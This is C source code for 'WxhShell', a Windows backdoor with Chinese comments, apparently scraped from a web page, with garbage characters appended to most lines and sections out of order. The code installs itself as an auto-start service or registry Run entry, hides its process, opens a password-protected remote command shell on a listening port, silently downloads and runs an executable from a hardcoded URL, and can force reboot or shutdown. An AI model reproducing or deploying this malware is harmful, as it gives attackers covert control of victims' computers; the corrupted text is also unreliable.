    if(Boot(SHUTDOWN)) ? ht;ZP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P(Wr[lH\y  
    else { :I/i"g7<  
    closesocket(wsh); U%T{~f  
    ExitThread(0); bS"zp6Di  
    } r?:xD(}Q  
    break; PZE{- TM?W  
    } S{7 R6,B5  
  // 获取shell 5FQtlB9F  
  case 's': { DB>.Uf"  
    CmdShell(wsh); uX8yS|= *  
    closesocket(wsh); qdY*y&}"J  
    ExitThread(0); Udl8?EVSz  
    break; %wk3&EC.  
  } MFqM 6_  
  // 退出 Hy| X>Z  
  case 'x': { $#LR4 [Fq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }n[<$*W^  
    CloseIt(wsh); k%2Rv4)hU  
    break; n7*.zI]%&  
    } DVLF8]5  
  // 离开 t IO 'ky  
  case 'q': { ai@hQJ*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l?J|Ip2W  
    closesocket(wsh); Im<(  
    WSACleanup(); d^W1;0  
    exit(1); ,[{Z_co  
    break; 6E0{(*  
        } zilM+BZ8  
  } Qk h}=3u  
  } gK+/wTQ%  
BMxe)izT;  
  // 提示信息 H){lXR/#u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +x_9IvaW&?  
} 29~Bu5  
  } .^aqzA=]  
u{d\3-]/  
  return; N"Mw1R4  
} T]0H&Oov  
qG?svt  
// shell模块句柄 W1;u%>Uh  
int CmdShell(SOCKET sock) c D0-g=&  
{ 6 ~LCj"  
STARTUPINFO si; 8P[aX3T7G  
ZeroMemory(&si,sizeof(si)); <V_P)b8$1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  HLsG<#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O;m@fS2%3  
PROCESS_INFORMATION ProcessInfo; "GY/2;  
char cmdline[]="cmd"; j8 |N;;MN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {IR-g,B  
  return 0; Qqn9nO9  
} q{E44 eQ7F  
&|&tPD/dJ  
// 自身启动模式 T=D|jt  
int StartFromService(void) wOU\&u|  
{ nBo?r}t4  
typedef struct # @~HpqqR  
{ qr|v|Ejd~  
  DWORD ExitStatus; 0oiz V;B5%  
  DWORD PebBaseAddress; 1p }:K`#{  
  DWORD AffinityMask; 0kOl,%Ey  
  DWORD BasePriority; =>en<#[\:  
  ULONG UniqueProcessId; Yp(F}<f?  
  ULONG InheritedFromUniqueProcessId; &/-^D/ot  
}   PROCESS_BASIC_INFORMATION; 9#iv|X  
^oYudb^%  
PROCNTQSIP NtQueryInformationProcess; unZYFA}(  
yhzZ[vw7k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ey ;94n:<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {Xw6p  
f tE2@}  
  HANDLE             hProcess; w0(1o_F7.  
  PROCESS_BASIC_INFORMATION pbi; ;eQOBGX9  
wM aqR"%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Htn''adg5  
  if(NULL == hInst ) return 0; i?0+f }5<p  
k/]4L!/ T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ] lONi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e|2@z-Sp-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ).D+/D/"2  
:y%CP8  
  if (!NtQueryInformationProcess) return 0; io{\+%;b~  
[ :*Jn}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3d81]!n  
  if(!hProcess) return 0; 6xq/  
jSc!"Trl]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bxR6@  
BfOQ/k))  
  CloseHandle(hProcess); H)VzPe#{  
NuQ l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <)am]+Lswy  
if(hProcess==NULL) return 0; W0_ pO  
7ea<2va,  
HMODULE hMod; \:vHB!2E  
char procName[255]; 6! .nj3$*  
unsigned long cbNeeded; HJ^SqSm  
yNU.<d 5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |18h p  
9qcA+gz:|  
  CloseHandle(hProcess); gR\-%<42  
nEgDwJ<wl  
if(strstr(procName,"services")) return 1; // 以服务启动 %TUvH>;0  
M|DVFC  
  return 0; // 注册表启动 ;FfDi*S7  
} l+HF+v$  
mMSQW6~j  
// 主模块 <g3)!VR^q  
int StartWxhshell(LPSTR lpCmdLine) C(@#I7G  
{ r=74 'g  
  SOCKET wsl; H.=S08c3kA  
BOOL val=TRUE; g*]/HS>e<G  
  int port=0; 6)j4-  
  struct sockaddr_in door; {@YY8SKb9  
|fIIfYE  
  if(wscfg.ws_autoins) Install(); ;%W]b  
/; {E}`  
port=atoi(lpCmdLine); Q!*}^W  
YDxEWK<  
if(port<=0) port=wscfg.ws_port; 1r?hRJ:'  
0+dc  
  WSADATA data; J<;@RK,c_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d":GsI?3  
U_[<,JE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l2Pry'3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aP&bW))CI  
  door.sin_family = AF_INET; 8gn12._x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); orON)S ks  
  door.sin_port = htons(port); qSA]61U&  
l.nd Wv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o7i>D6^^  
closesocket(wsl); 5x?YFq6k  
return 1; xmXuBp:M(R  
} w _ONy9  
bo|3sN+D  
  if(listen(wsl,2) == INVALID_SOCKET) { w]O [{3"  
closesocket(wsl); 1Xn:B_pP  
return 1; ` G- V %  
} >h3m/aeNC  
  Wxhshell(wsl); ZULnS*V;5  
  WSACleanup(); iO@UzD #v  
RzOcz=A}  
return 0; tN1xZW:  
fPBJ%SZ  
} L'L[Vpx  
!YVGT <  
// 以NT服务方式启动 -~] q?k?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A~)#  
{ xNOArb5e5  
DWORD   status = 0; fK{m7?V  
  DWORD   specificError = 0xfffffff; +=MN_  
N> jQe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C116 c"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j@u]( nf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vN9R. R  
  serviceStatus.dwWin32ExitCode     = 0; cMK}BHOC  
  serviceStatus.dwServiceSpecificExitCode = 0; mJNw<T4!/  
  serviceStatus.dwCheckPoint       = 0; E^4}l2m_  
  serviceStatus.dwWaitHint       = 0; O;lGh1.  
WRov7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [jEZ5]%  
  if (hServiceStatusHandle==0) return; fW=vN0Z  
c]%~X&Tg`  
status = GetLastError(); w<&R|= 93  
  if (status!=NO_ERROR) K;Fs5|gFU  
{ A@<a')#>)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?Gqq]ozm  
    serviceStatus.dwCheckPoint       = 0; z3Zo64V~7  
    serviceStatus.dwWaitHint       = 0; Q].p/-[(  
    serviceStatus.dwWin32ExitCode     = status; (Cb;=:3G  
    serviceStatus.dwServiceSpecificExitCode = specificError; \"pp-str  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Os6i&;  
    return; A9_} RJ9  
  } (L<q Jd1Q  
G _-JR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZA+w7S3  
  serviceStatus.dwCheckPoint       = 0; [9^lAhX  
  serviceStatus.dwWaitHint       = 0; ("KtJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bwl@Muw  
} 6UKZ0~R  
5=_bK^Am  
// 处理NT服务事件,比如:启动、停止 Tx>V$+al  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {n\Ai3F-  
{ f]48-X,^6  
switch(fdwControl) 43?uTnX/  
{ \IaUsx"#o{  
case SERVICE_CONTROL_STOP: ZM16 ~k  
  serviceStatus.dwWin32ExitCode = 0; $1 t IC_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vbv)C3ezD  
  serviceStatus.dwCheckPoint   = 0; !nU|3S[b  
  serviceStatus.dwWaitHint     = 0; ub;:"ns}  
  { NHiac(&*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H1.ktG  
  } rS8}(lf  
  return; \q@Co42n\  
case SERVICE_CONTROL_PAUSE: Ye S5%?Fk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s}F.D^^G  
  break; 1ixBwnp?  
case SERVICE_CONTROL_CONTINUE: }qT{" *SC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [vqf hpz  
  break; ;ObrBN,Fu  
case SERVICE_CONTROL_INTERROGATE: F0kdwN4;  
  break; k+BY3a  
}; *,|x p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zY9CoadZ  
} Ae\:{[c_D  
6WX?Xc]$3  
// 标准应用程序主函数 &=]!8z=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3Cgv($xl&  
{ "5204I  
-tIye{  
// 获取操作系统版本 iPdS>e e  
OsIsNt=GetOsVer(); 21O@yNpS$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V :/v r  
I?RUVs  
  // 从命令行安装 I? ="Er[g}  
  if(strpbrk(lpCmdLine,"iI")) Install(); iG#9 2e4  
p:V1VHT,  
  // 下载执行文件 M`n0 q y  
if(wscfg.ws_downexe) { }kG>6_p?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rl&nR$#  
  WinExec(wscfg.ws_filenam,SW_HIDE); w3;{z ,,T  
} tA]u=-_h  
T+q5~~\d  
if(!OsIsNt) { NxSSRv^rx  
// 如果时win9x,隐藏进程并且设置为注册表启动 *zQhTYY  
HideProc(); h=Q2 ?O8  
StartWxhshell(lpCmdLine); VTU(C&"S  
} eA*We  
else z\"9T?zoo  
  if(StartFromService()) k t'[  
  // 以服务方式启动  //0Y#"  
  StartServiceCtrlDispatcher(DispatchTable); n-g#nEc:  
else _Wq;bKG  
  // 普通方式启动 31\mF\{V  
  StartWxhshell(lpCmdLine); Zv2]X-  
G5%k.IRz  
return 0; _0BQnzC=  
} 2}XxRJ0   
#"8'y  
\H&;.??W  
fR?'HsQg  
=========================================== %}JSR y  
PjofW%7F  
|qVM`,%L  
=KAN|5yn  
?D|kCw69SE  
* =*\w\ te  
" L1WvX6  
R13V }yL  
#include <stdio.h> U&43/;<,  
#include <string.h> X"vDFE`?  
#include <windows.h> I:w+lchAMe  
#include <winsock2.h> 3,EtyJ3[Bh  
#include <winsvc.h> n a*Z0y  
#include <urlmon.h> \TYVAt] ?  
_DAqL@5n  
#pragma comment (lib, "Ws2_32.lib") 1;PI%++  
#pragma comment (lib, "urlmon.lib") 97 ,Yq3  
~!M"  
#define MAX_USER   100 // 最大客户端连接数 );h  
#define BUF_SOCK   200 // sock buffer XD" 4t4~>  
#define KEY_BUFF   255 // 输入 buffer @+1AYVz(k  
B`gH({U  
#define REBOOT     0   // 重启 I2krxLPd  
#define SHUTDOWN   1   // 关机 bN6i*) }  
)?I*zc  
#define DEF_PORT   5000 // 监听端口 i9V,  
c$lZ\r"  
#define REG_LEN     16   // 注册表键长度 mN> (n+ly  
#define SVC_LEN     80   // NT服务名长度 Q+/P>5O/  
: sw@1  
// 从dll定义API z`eMb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GXk |p8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kkW}:dBl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R\Ckk;<$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OI8}v  
\%9QE  
// wxhshell配置信息 Q,Y^9g"B`~  
struct WSCFG { E^A!k=>  
  int ws_port;         // 监听端口 .|Yn[?(  
  char ws_passstr[REG_LEN]; // 口令 +~* e B  
  int ws_autoins;       // 安装标记, 1=yes 0=no I0><IaFy  
  char ws_regname[REG_LEN]; // 注册表键名 ef!f4u\  
  char ws_svcname[REG_LEN]; // 服务名 tv Zq):c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lon9oraF'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -r]L MQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2Q7X"ek~[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a]Y9;(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2<@g *  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sx (E'?]  
F\v~2/J5v  
}; |f\WVGH  
K`j:F>b  
// default Wxhshell configuration aL&9.L|1 g  
struct WSCFG wscfg={DEF_PORT, NTO.;S|2%  
    "xuhuanlingzhe", ]>ndFE6kl  
    1, dc_2nF  
    "Wxhshell", P RNq8nmxC  
    "Wxhshell", ; xQhq*  
            "WxhShell Service", j,SZJ{ebXg  
    "Wrsky Windows CmdShell Service", yqtaQ0F~  
    "Please Input Your Password: ", a8G<x <  
  1, 1 .[OS  
  "http://www.wrsky.com/wxhshell.exe", B9Wd '  
  "Wxhshell.exe" 6.$z!~8  
    }; .,U4 ATO  
G1*,~1i  
// 消息定义模块 w~jm0jK]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [@B!N+P5;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c.5u \ I9"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \rO!lvX  
char *msg_ws_ext="\n\rExit."; +\u\BJ!LAJ  
char *msg_ws_end="\n\rQuit."; f! )yE`4-  
char *msg_ws_boot="\n\rReboot..."; 'm"Ez'sS  
char *msg_ws_poff="\n\rShutdown..."; a#x@ e?GvI  
char *msg_ws_down="\n\rSave to ";  DO9K  
f"NWv!  
char *msg_ws_err="\n\rErr!"; ]0SqLe  
char *msg_ws_ok="\n\rOK!"; g[ uf e<  
O(9*VoD  
char ExeFile[MAX_PATH]; \ rg;xZa5  
int nUser = 0; ?<5KLvGv  
HANDLE handles[MAX_USER]; QAMcI:5  
int OsIsNt; 1_]%,  
TJ>1?W\Z  
SERVICE_STATUS       serviceStatus; baL<|& c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =P_ *.SgR  
Sfp-ns32%A  
// 函数声明 y+V>,W)r7  
int Install(void); cM4{ e^  
int Uninstall(void); rY&#g%B6Fp  
int DownloadFile(char *sURL, SOCKET wsh); (ip3{d{CT]  
int Boot(int flag); pp{GaCi  
void HideProc(void); 3`RI[%AN~  
int GetOsVer(void); *65~qAd  
int Wxhshell(SOCKET wsl); ( z F_<  
void TalkWithClient(void *cs); \hb$v  
int CmdShell(SOCKET sock); Ts|;5ya5m  
int StartFromService(void); 83p8:C.Ze  
int StartWxhshell(LPSTR lpCmdLine); F1L[C4'  
&&m1_K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )K`tnb.Pf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =vriraV"  
q_L. Sy|)  
// 数据结构和表定义 57]La^#  
SERVICE_TABLE_ENTRY DispatchTable[] = tA'5ufj*:  
{ .I$+ E  
{wscfg.ws_svcname, NTServiceMain}, lz1cLl m  
{NULL, NULL} }W[=O:p  
}; opu)9]`z  
rOj(THoc{  
// 自我安装 AAKc8 {  
int Install(void) ,^ dpn  
{ )]<^*b>  
  char svExeFile[MAX_PATH]; hJw]hVYa  
  HKEY key; &OEBAtc/  
  strcpy(svExeFile,ExeFile); {ot6ssT=D  
=<zlg~i  
// 如果是win9x系统,修改注册表设为自启动 "(kiMo g-  
if(!OsIsNt) { L|1~'Fz#w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tL1\q Qg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Ls%nz|  
  RegCloseKey(key); /TIt-c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t("koA=.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '?fGI3b~/  
  RegCloseKey(key); (v:8p!QN  
  return 0; q|IU+r:! 3  
    } (?lT @RY/  
  } yJlRW!@&:  
} +^J;ic  
else { '"ze Im~  
5B8fz;l= B  
// 如果是NT以上系统,安装为系统服务 jqTK7b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ">S1,rhgS  
if (schSCManager!=0) w\V<6_[vv.  
{ 7 s2*VKr  
  SC_HANDLE schService = CreateService /^I!)|At  
  ( cS@p`A7Tpo  
  schSCManager, H`Zg-j`  
  wscfg.ws_svcname, Bsd~_y}8  
  wscfg.ws_svcdisp, %.Kr`#lCr  
  SERVICE_ALL_ACCESS, 3/(eK%d4Xb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dldS7Q  
  SERVICE_AUTO_START, nLPd]%78>  
  SERVICE_ERROR_NORMAL, 322-'S3<  
  svExeFile, w vI v+Q9  
  NULL, ed3wj3@  
  NULL, %\)AT"  
  NULL, }g|9P SbJ  
  NULL, / T_v8 {D  
  NULL O`N,aYo  
  ); /'_Yct=  
  if (schService!=0) hw)z]  
  { J9y}rGO  
  CloseServiceHandle(schService); |<y1<O>F  
  CloseServiceHandle(schSCManager); %zDi|WZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6@FxPi9|#  
  strcat(svExeFile,wscfg.ws_svcname); k)8*d{*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6{g&9~V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D4$"02"  
  RegCloseKey(key); "+ k}#<P4\  
  return 0; fi&>;0?7  
    } i1]}Q$  
  } 62G %.'7  
  CloseServiceHandle(schSCManager); 7qWa>fX  
} /#L4ec-'  
} - ku8n%u  
yZNg[KH  
return 1; 2Qc_TgWF  
} 3RcnoXX_  
Wg8*;dvtM  
// 自我卸载 %N\8!aXnf  
int Uninstall(void) at2)%V)  
{ ?nE9@G5Gc  
  HKEY key; _(8N*q*w  
E>2AG3)  
if(!OsIsNt) { ?#nk}=;g8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~*~aFf5  
  RegDeleteValue(key,wscfg.ws_regname); %j{*`}  
  RegCloseKey(key); rTJ;s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "avG#rsH  
  RegDeleteValue(key,wscfg.ws_regname); R?}%rP+^e  
  RegCloseKey(key); }?O>.W,/  
  return 0; B2WPbox  
  } 5a2;@ }%V  
} gl2l%]=\'  
} }wJH@'0+  
else { 0wF)bQv1  
GW7+#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X]\; f  
if (schSCManager!=0) ,Hp7`I>/  
{ r CUs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }We-sZ/w7r  
  if (schService!=0) 3-[+g}kak?  
  { r $YEq5  
  if(DeleteService(schService)!=0) { R[m+s=+  
  CloseServiceHandle(schService); a\B?J  
  CloseServiceHandle(schSCManager); (S6>^:;=~  
  return 0; ]IDhE{  
  } V~Jt  
  CloseServiceHandle(schService); Tq6\oIBkV  
  } e#WASHZN  
  CloseServiceHandle(schSCManager); OL@$RTh  
} li#ep?5h^  
} gnf4H V~  
U0N6\+  
return 1; ;:Tb_4Hr  
} 8\PI1U  
b/E3Kse?  
// 从指定url下载文件 *h pS/g/3\  
int DownloadFile(char *sURL, SOCKET wsh) R(f%*S4  
{ ndk~(ex|j  
  HRESULT hr; wawJZ+V  
char seps[]= "/"; lt\Bm<"z!1  
char *token; &F'n >QT9q  
char *file; M`)3(|4  
char myURL[MAX_PATH]; EQ"+G[j~x  
char myFILE[MAX_PATH]; Z8f?uF  
zP|^@Homk  
strcpy(myURL,sURL); r*FAUb`bG  
  token=strtok(myURL,seps); Tv|i CYB?  
  while(token!=NULL) {T0Au{88H  
  { w.+G+ r=  
    file=token; ~{{7y]3M-  
  token=strtok(NULL,seps); a?X@ D<.;  
  } xF 3Z>  
$j4/ohwTDY  
GetCurrentDirectory(MAX_PATH,myFILE); &,\my-4c>  
strcat(myFILE, "\\"); wzY{ii  
strcat(myFILE, file); 1>umf~%Wa  
  send(wsh,myFILE,strlen(myFILE),0); [LV>z  
send(wsh,"...",3,0); Su+[Q6oC@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fOP3`G^\  
  if(hr==S_OK) \GK]6VW  
return 0; ZJ/K MW  
else Nkn2\ w  
return 1; #TB 3|=  
/#?! 9c  
} o Z%oP V:  
Pa?C-Xn^  
// 系统电源模块 meGL T/   
int Boot(int flag) g ?@fHFct  
{ wb39s^n  
  HANDLE hToken; @z=L\ e{  
  TOKEN_PRIVILEGES tkp; f$--y|=  
:edy(vC<  
  if(OsIsNt) { \9}DAM_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Sh:_YD^(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J2$,'(!(  
    tkp.PrivilegeCount = 1; 4 lwoTGVZj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0Ld"df*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j&q%@%Gm  
if(flag==REBOOT) { H6lZ<R{=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +.uQToqy  
  return 0; VWk{?*Dp  
} ku#WQL  
else { p ^)3p5w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~*e@^Nv)v  
  return 0; , hp8b$  
} (N9g6V  
  } ss`Sl$  
  else { Tz&h[+6`  
if(flag==REBOOT) { [* |+ it+!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O<MO2U+^x  
  return 0; :*YnH&  
} a.a ,_  
else { /E:BEm!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1-|aeJ  
  return 0; HI, `O  
} #K!"/,d@>J  
} Q^X}7Z|T  
ZzxWKIE'c  
return 1; eYevj[c;  
} YdN]Tqc  
gJ^taUE  
// win9x进程隐藏模块 4zZ.v"laVM  
void HideProc(void) x~](d8*=  
{ v4XEp   
ClNuO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QZuKM'D+  
  if ( hKernel != NULL ) h05<1>?|  
  { JoD@e[(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [$#G|>x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u-QHV1H`(  
    FreeLibrary(hKernel); 6MLjU1  
  } ( k_9<Yb3  
kM(m$Oo.  
return; )4> 7X)j>  
} ARG8\qU  
3PlIn0+LX  
// 获取操作系统版本 ?%n"{k?#  
int GetOsVer(void) oVW>PEgB-  
{ B&<P>AZ  
  OSVERSIONINFO winfo; i1*0'x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $)d34JM  
  GetVersionEx(&winfo); Mh {>#Gs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eqh*"hE7  
  return 1; T wzpq1  
  else ;d FJqo82  
  return 0; %"WhD'*z}  
} \s!x;nw[  
9Q'[>P=1  
// 客户端句柄模块 kdaq_O:s  
int Wxhshell(SOCKET wsl) I1I-,~hO  
{ <kWkc|z BY  
  SOCKET wsh; "=V!-+*@G@  
  struct sockaddr_in client; U2v;GIo$yU  
  DWORD myID; A2 $05a$%  
%/qwqo`Q  
  while(nUser<MAX_USER) z[y  
{ v8n^~=SH  
  int nSize=sizeof(client); amQTPNI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n~0MhE0H  
  if(wsh==INVALID_SOCKET) return 1; kI2+&  
ae](=OQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /Z[HU{4  
if(handles[nUser]==0) c e; zn\  
  closesocket(wsh); lQy-&d|=#^  
else |kTq &^$  
  nUser++; WBb*2  
  } !Uv>>MCr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l]gW_wUQd  
q([{WZ:6Oq  
  return 0; =^\?{oV  
} /_YTOSZjm  
y|zIu I-p  
// 关闭 socket >]o>iOz;]  
void CloseIt(SOCKET wsh) Z] x6np  
{ mI]gDL1  
closesocket(wsh); 5"X@<;H%  
nUser--; %0Qq~J@Lu  
ExitThread(0); e1%kW1Z9  
} %?Q&a ]  
9ExI,  
// 客户端请求句柄 )PW|RW  
void TalkWithClient(void *cs) EY:H\4)  
{ p}5413z5Z=  
SpYmgL?wJ  
  SOCKET wsh=(SOCKET)cs; FZIC |uz  
  char pwd[SVC_LEN]; N;k)>  
  char cmd[KEY_BUFF]; <lLJf8OK  
char chr[1]; M?GkHJ%!  
int i,j; `zB bB^\`W  
/)kx`G_  
  while (nUser < MAX_USER) { PB!XApTb  
y,bD i9*|  
if(wscfg.ws_passstr) { vVrM[0*c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )lz~Rt;1i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v`]y:Ku|wR  
  //ZeroMemory(pwd,KEY_BUFF); >Bu9D  
      i=0; U<E]c 4*  
  while(i<SVC_LEN) { d={o|Mf  
YBR)S_C$_  
  // 设置超时 Z`U+ a  
  fd_set FdRead; Tu5p`p3-j  
  struct timeval TimeOut; ael] {'h]  
  FD_ZERO(&FdRead); ZKq#PB/.  
  FD_SET(wsh,&FdRead); .!Kqcz% A  
  TimeOut.tv_sec=8; \CV HtV  
  TimeOut.tv_usec=0; Xo&\~b#-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cbs ;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); adAdX;@e`  
$R NHRA.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e`q*'u1?  
  pwd=chr[0]; =Y5m% ,Bq  
  if(chr[0]==0xd || chr[0]==0xa) { -GM"gkz  
  pwd=0; hQlyqTP|2  
  break; h+A+>kC5  
  } t\TxK7i  
  i++; .U44p*I  
    } S#r|?GYua  
x 4sIZe+  
  // 如果是非法用户,关闭 socket 0L1sF'ZN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )!caOGvhJ  
} r-*6# "  
sriDta?Cz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M)nh~gU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iz{TSU  
e9tb]sAG  
while(1) { 1 ltW9^cF}  
p>#q* eU5  
  ZeroMemory(cmd,KEY_BUFF); hUuKkUR+Ir  
}`%ks  
      // 自动支持客户端 telnet标准   57 Bx-  
  j=0; ;R Jv7@  
  while(j<KEY_BUFF) { CC;^J-h/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bN03}&I  
  cmd[j]=chr[0]; D.|r [c  
  if(chr[0]==0xa || chr[0]==0xd) { A*A/30o|R  
  cmd[j]=0; 3vjOfr`  
  break; }/,Rp/+7]  
  } *?]<=IV?  
  j++; c b&Yf1  
    } [t$ r)vX  
aM(#J7;  
  // 下载文件 P=6d<no&<  
  if(strstr(cmd,"http://")) { G_ ,9h!e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I%GQ3D"=  
  if(DownloadFile(cmd,wsh)) j"aY\cLr t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T93st<F=R  
  else &[_@f#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4d}=g]P  
  } F&m9G >r  
  else { nk7>iK!i  
